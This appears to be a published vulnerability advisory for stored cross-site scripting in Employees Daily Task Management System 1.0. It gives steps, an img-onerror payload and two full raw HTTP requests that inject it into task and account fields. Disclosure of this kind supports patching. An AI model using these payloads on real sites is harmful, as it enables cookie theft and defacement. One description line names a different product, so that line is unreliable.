Employees Daily Task Management System 1.0 – ‘multiple’ Cross Site Scripting (XSS)
# Exploit Title: Employees Daily Task Management System 1.0 - 'multiple' Cross Site Scripting (XSS) # Exploit Author: able403 # Date: 08/12/2021 # Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip # Version: 1.0 # Tested on: windows 10 # Vulnerable page: ?page=view_task&id=2 Technical description: A stored XSS online event booking and reservation system. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more. xss-1: 1) Navigate to http://localhost/?page=view_task&id=2 and clink "edit task" 2) Insert your payload in the "title" and "Task Description" parameter parameter 3) Click save Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert(123)> --- POST /Actions.php?a=save_task HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 312 Origin: http://localhost Connection: close Referer: http://localhost/?page=tasks Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl id=2&title=Task+102%22%3E%3Cimg+src%3D%23+onerror%3Dalert(123)%3E&status=1&assign_to%5B%5D=2&description=%3Cp%3EThis+is+another+task+for+you.%3C%2Fp%3E%3Cp%3EThis+description+has+been+updated%3C%2Fp%3E%3Cp%3E%3Cbr%3E%3C%2Fp%3E%3Cp%3E%22%26gt%3B%26lt%3Bimg+src%3D%23+onerror%3Dalert(333)%26gt%3B%3Cbr%3E%3C%2Fp%3E xss-2 1) Navigate to http://localhost.com/?page=manage_account 2) Insert your payload in the "full name" or "contact" or "email" parameter parameter Proof of concept (Poc): The following payload will allow you to run the javascript - "><img src=# onerror=alert(123)> -- POST /Actions.php?a=update_credentials_employee HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------27882107026209045483167935384 Content-Length: 1613 Origin: http://localhost Connection: close Referer: http://localhost/?page=manage_account Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="id" 1 -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="fullname" John D Smith -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="gender" Male -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="dob" 1997-06-23 -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="contact" 098123456789"><img src=# onerror=alert(123)> -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="email" jsmith@sample.com -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="address" Sample Address -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="department_id" 1 -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="email" jsmith@sample.com -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="password" -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="old_password" -----------------------------27882107026209045483167935384 Content-Disposition: form-data; name="avatar"; filename="" Content-Type: application/octet-stream -----------------------------27882107026209045483167935384-- |